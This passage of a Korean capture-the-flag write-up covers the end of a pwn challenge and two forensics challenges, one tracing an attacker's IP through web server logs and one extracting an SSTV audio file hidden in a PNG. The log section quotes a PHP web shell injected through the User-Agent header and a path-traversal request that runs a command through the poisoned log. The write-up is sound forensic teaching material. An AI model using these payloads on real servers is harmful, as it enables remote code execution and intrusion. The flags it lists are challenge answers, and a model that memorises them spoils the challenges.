00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00$ [*] Got EOF while reading in interactive $ ``` **FLAG : YISF{5imp13_sp_is_v33eEEry_eAsy,_r1gh7?}** <br> ## Forensics ### SF Server Analysis `125.138.133.213` 아이피의 로그가 상당히 많아 수상해 보여서 이 아이피를 추적하였다 <br> **시작** 아래 로그를 보면 Nikto 스캔을 시작한 것을 확인할 수 있다. `125.138.133.213 - - [25/Jul/2025:13:58:07 +0000] "HEAD / HTTP/1.1" 200 359 "-" "Mozilla/5.00 (Nikto/2.1.5) (Evasions:None) (Test:Port Check)"` <br> **공격** 다음으로 User-Agent에 `<?php system($_GET['cmd']); ?>`을 주입하는 것을 보고 공격자임을 확신할 수 있었다. `125.138.133.213 - - [25/Jul/2025:14:04:23 +0000] "GET /view.php HTTP/1.1" 200 147 "-" "<?php system($_GET['cmd']); ?>"` <br> **성공** 공격을 한 뒤 요청이 200으로 응답하여 RCE 공격에 성공했다는 것을 확인할 수 있었다. `125.138.133.213 - - [25/Jul/2025:14:04:51 +0000] "GET /view.php?file=../../../../../var/log/apache2/home_shopping_access.log&cmd=id HTTP/1.1" 200 315 "-" "curl/8.5.0"` <br> **FLAG : YISF{125.138.133.213_2025/07/25_22:58:07_2025/07/25_23:04:51}** <br> ### SStegano TV FTK imager를 사용해 Export 하였고 아래와 같은 폴더들이 있었다. ![image](https://hackmd.io/_uploads/H12CiK8Olg.png) <br> `\Users\spy1818\Documents` 경로에 `suspicious_mail.eml`라는 파일이 있어 확인해보니, 이메일 내용이 base64로 인코딩된 `logo_v2.png`과 `logo_v3.png` 파일이었다. ![image](https://hackmd.io/_uploads/HJ4v3tLOll.png) <br> 디코딩해서 확인해보니 `logo_v3.png`에서 아래 이미지가 나왔다. ![logo_v2](https://hackmd.io/_uploads/rk5Dg5L_xg.png) <br> 문제 이름이 `SSTV`라서 `wav` 파일이 있을 것을 예상하고 `RIFF` 시그니쳐를 검색해보았는데 있었다. ``` t43w00@DESKTOP-PO6TNV7:~/SStegano-TV$ grep -aob "RIFF" logo_v3.png 48256:RIFF ``` <br> 이를 추출해서 github에 있는 `SSTV Decoder`에 돌렸더니 플래그가 나왔다 ![res](https://hackmd.io/_uploads/Sy6kt9UOxx.png) **FLAG : YISF{S0_3zyyy_St3eg_SSTV}**